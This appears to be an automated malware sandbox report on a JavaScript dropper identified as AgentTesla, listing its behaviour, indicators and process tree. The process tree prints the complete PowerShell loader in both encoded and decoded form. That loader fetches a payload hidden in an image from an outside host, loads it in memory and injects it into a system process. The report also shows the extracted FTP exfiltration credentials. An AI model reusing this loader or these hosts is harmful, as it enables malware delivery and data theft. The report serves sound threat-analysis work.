Analysis
-
max time kernel
117s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
25-04-2024 03:42
Static task
static1
Behavioral task
behavioral1
Sample
comprobante_9887887.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
comprobante_9887887.js
Resource
win10v2004-20240412-en
General
-
Target
comprobante_9887887.js
-
Size
5KB
-
MD5
39f9206f83d0141caec19300d528fd57
-
SHA1
c78e336bd902973b64108eb003aeb0a92e48bf26
-
SHA256
a09d8c7cd5db2add2d2aba1810a14afb1f602dd81db92e6f4889d93dfaf455f0
-
SHA512
b4670af49b60cde81064d4971498b84d38f94b35b49b01c97573eb3ed73870cf0afbb0496f174addec58f3ef435cbf78dd4a20a09f930d44196f72142e9a5097
-
SSDEEP
96:QcbRUp/NhXhqan4JvvommR39pfh24meHBhmeRqmeRdmeRbmeRoBgmeFFcKRUpl9h:z6rxqqpz+D60S
Malware Config
Extracted
agenttesla
Protocol: ftp- Host:
ftp://ftp.fosna.net - Port:
21 - Username:
[email protected] - Password:
=A+N^@~c]~#I
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 9 IoCs
Processes:
wscript.exepowershell.exeflow pid process 4 2888 wscript.exe 6 2888 wscript.exe 9 2888 wscript.exe 12 2888 wscript.exe 14 2888 wscript.exe 17 2468 powershell.exe 19 2468 powershell.exe 20 2468 powershell.exe 21 2468 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 23 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2468 set thread context of 592 2468 powershell.exe AddInProcess32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
wscript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C wscript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802025300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c00b000000010000001600000047006c006f00620061006c005300690067006e000000140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 wscript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b060105050802020f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0 wscript.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exepid process 2508 powershell.exe 2468 powershell.exe 592 AddInProcess32.exe 592 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeAddInProcess32.exedescription pid process Token: SeDebugPrivilege 2508 powershell.exe Token: SeDebugPrivilege 2468 powershell.exe Token: SeDebugPrivilege 592 AddInProcess32.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
wscript.exepowershell.exepowershell.exedescription pid process target process PID 2888 wrote to memory of 2508 2888 wscript.exe powershell.exe PID 2888 wrote to memory of 2508 2888 wscript.exe powershell.exe PID 2888 wrote to memory of 2508 2888 wscript.exe powershell.exe PID 2508 wrote to memory of 2468 2508 powershell.exe powershell.exe PID 2508 wrote to memory of 2468 2508 powershell.exe powershell.exe PID 2508 wrote to memory of 2468 2508 powershell.exe powershell.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe PID 2468 wrote to memory of 592 2468 powershell.exe AddInProcess32.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\comprobante_9887887.js1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'ZnVuY3Rpb24gRG93bmxvYWREYXRhRnJvbUxpbmtzIHsgcGFyYW0gKFtzdHJpbmdbXV0kbGlua3MpICR3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkZG93bmxvYWRlZERhdGEgPSBAKCk7ICRzaHVmZmxlZExpbmtzID0gJGxpbmtzIHwgR2V0LVJhbmRvbSAtQ291bnQgJGxpbmtzLkxlbmd0aDsgZm9yZWFjaCAoJGxpbmsgaW4gJHNodWZmbGVkTGlua3MpIHsgdHJ5IHsgJGRvd25sb2FkZWREYXRhICs9ICR3ZWJDbGllbnQuRG93bmxvYWREYXRhKCRsaW5rKSB9IGNhdGNoIHsgY29udGludWUgfSB9OyByZXR1cm4gJGRvd25sb2FkZWREYXRhIH07ICRsaW5rcyA9IEAoJ2h0dHBzOi8vdXBsb2FkZGVpbWFnZW5zLmNvbS5ici9pbWFnZXMvMDA0Lzc3My84MTIvb3JpZ2luYWwvanMuanBnPzE3MTM4ODI3NzgnLCAnaHR0cHM6Ly91cGxvYWRkZWltYWdlbnMuY29tLmJyL2ltYWdlcy8wMDQvNzczLzgxMi9vcmlnaW5hbC9qcy5qcGc/MTcxMzg4Mjc3OCcpOyAkaW1hZ2VCeXRlcyA9IERvd25sb2FkRGF0YUZyb21MaW5rcyAkbGlua3M7IGlmICgkaW1hZ2VCeXRlcyAtbmUgJG51bGwpIHsgJGltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRpbWFnZUJ5dGVzKTsgJHN0YXJ0RmxhZyA9ICc8PEJBU0U2NF9TVEFSVD4+JzsgJGVuZEZsYWcgPSAnPDxCQVNFNjRfRU5EPj4nOyAkc3RhcnRJbmRleCA9ICRpbWFnZVRleHQuSW5kZXhPZigkc3RhcnRGbGFnKTsgJGVuZEluZGV4ID0gJGltYWdlVGV4dC5JbmRleE9mKCRlbmRGbGFnKTsgaWYgKCRzdGFydEluZGV4IC1nZSAwIC1hbmQgJGVuZEluZGV4IC1ndCAkc3RhcnRJbmRleCkgeyAkc3RhcnRJbmRleCArPSAkc3RhcnRGbGFnLkxlbmd0aDsgJGJhc2U2NExlbmd0aCA9ICRlbmRJbmRleCAtICRzdGFydEluZGV4OyAkYmFzZTY0Q29tbWFuZCA9ICRpbWFnZVRleHQuU3Vic3RyaW5nKCRzdGFydEluZGV4LCAkYmFzZTY0TGVuZ3RoKTsgJGNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGJhc2U2NENvbW1hbmQpOyAkbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRjb21tYW5kQnl0ZXMpOyAkdHlwZSA9ICRsb2FkZWRBc3NlbWJseS5HZXRUeXBlKCdQUk9KRVRPQVVUT01BQ0FPLlZCLkhvbWUnKTsgJG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJykuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dICgndHh0LjQ0NDQ2ZXphYi83Ny4wNi41OS4zMi8vOnB0dGgnICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nICwgJ2Rlc2F0aXZhZG8nLCdBZGRJblByb2Nlc3MzMicsJ2Rlc2F0aXZhZG8nKSl9fQ==';$OWjuxd = (New-Object System.Text.UTF8Encoding).GetString([System.Convert]::FromBase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2508 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778', 'https://uploaddeimagens.com.br/images/004/773/812/original/js.jpg?1713882778'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.44446ezab/77.06.59.32//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','desativado'))}}"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:592
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015Filesize
68KB
MD529f65ba8e88c063813cc50a4ea544e93
SHA105a7040d5c127e68c25d81cc51271ffb8bef3568
SHA2561ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
SHA512e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
1KB
MD5a266bb7dcc38a562631361bbf61dd11b
SHA13b1efd3a66ea28b16697394703a72ca340a05bd5
SHA256df545bf919a2439c36983b54cdfc903dfa4f37d3996d8d84b4c31eec6f3c163e
SHA5120da8ef4f8f6ed3d16d2bc8eb816b9e6e1345dfe2d91160196c47e6149a1d6aedaafadcefd66acdea7f72dcf0832770192ceac15b0c559c4ccc2c0e5581d5aefc
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD5c5be620bd9441aead35ceec79cc13dd9
SHA193b36ff023bc4168011a270fa5ffdd8f1308f2e5
SHA2569dc7d861cffa91ae6a03808d7ffef3954ac0f0e220da9c9832f82ff0e602917b
SHA5124c55fb9f8c43e6c89b83949aa16456b4fa84eb8acf0fbf83c59317d3cab8400e0f7de64ffbd5c36a8008e93c350a6ca39d93420645b3f2823cb3e89a001bd460
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015Filesize
344B
MD569841b9c1683799c4afefbcd431d044b
SHA16e406aec93a9644cb9b606bf94cfa8004566b74d
SHA256177b14ae3c6db80404592b209f2252f741586059fe3b527bd810a79a8580a8aa
SHA512e13a942ce6bc9cbedc339e9791cd10bacaa271920c28d275af6094cb8ce8cd98600ec467db7bb810e7a1f8ee8b0d1c8063d43594bbef6b35837e602e9af3268b
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357Filesize
242B
MD512889e595ba7c6845a0c517cfc8de8fa
SHA1b5e0a94be7201cb3e7a5747975ea3419cc9a1020
SHA256b6ac54e98d2fb1872e13412c4b91e171e65d2408d203ff30975722eb8950e0c9
SHA51294eb7ce71dc848480e4a6cdc2fc7e8e313afb44b100512ae32edbc1a8a96c200734d2ee84579e722314ba01144ae1a6a96766a3453c161456a9cb7f6aedb97c5
-
C:\Users\Admin\AppData\Local\Temp\Tar1F45.tmpFilesize
177KB
MD5435a9ac180383f9fa094131b173a2f7b
SHA176944ea657a9db94f9a4bef38f88c46ed4166983
SHA25667dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
SHA5121a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msFilesize
7KB
MD5e024679b22f994de4378fbe347b19506
SHA1e09a450022ee78c9a4c3e4593f940c1d313399f7
SHA256b09815bd77866ac711d9d297c18d22e5b0db6a3c9e7d1d499cbb8bb0c028ea37
SHA512e3a24d69951ec0ad44850227470721766ec424729d03ddb2a1a023eebbd5cd7880e3750f93463769e12e32b202b884091e03627c05e7e4ecce2565725194e7d6
-
memory/592-155-0x0000000004A40000-0x0000000004A80000-memory.dmpFilesize
256KB
-
memory/592-147-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-149-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-140-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-146-0x000000007EFDE000-0x000000007EFDF000-memory.dmpFilesize
4KB
-
memory/592-151-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-153-0x0000000074780000-0x0000000074E6E000-memory.dmpFilesize
6.9MB
-
memory/592-138-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-156-0x0000000074780000-0x0000000074E6E000-memory.dmpFilesize
6.9MB
-
memory/592-157-0x0000000004A40000-0x0000000004A80000-memory.dmpFilesize
256KB
-
memory/592-142-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/592-144-0x0000000000400000-0x0000000000442000-memory.dmpFilesize
264KB
-
memory/2468-50-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-51-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-132-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-133-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-134-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-137-0x000000001ADC0000-0x000000001B080000-memory.dmpFilesize
2.8MB
-
memory/2468-152-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2468-48-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2468-49-0x0000000002960000-0x00000000029E0000-memory.dmpFilesize
512KB
-
memory/2468-131-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2508-52-0x0000000002B80000-0x0000000002C00000-memory.dmpFilesize
512KB
-
memory/2508-128-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2508-129-0x0000000002B80000-0x0000000002C00000-memory.dmpFilesize
512KB
-
memory/2508-47-0x0000000002B80000-0x0000000002C00000-memory.dmpFilesize
512KB
-
memory/2508-130-0x0000000002B80000-0x0000000002C00000-memory.dmpFilesize
512KB
-
memory/2508-46-0x0000000002B80000-0x0000000002C00000-memory.dmpFilesize
512KB
-
memory/2508-154-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2508-45-0x000007FEF5F60000-0x000007FEF68FD000-memory.dmpFilesize
9.6MB
-
memory/2508-39-0x0000000001ED0000-0x0000000001ED8000-memory.dmpFilesize
32KB
-
memory/2508-38-0x000000001B7A0000-0x000000001BA82000-memory.dmpFilesize
2.9MB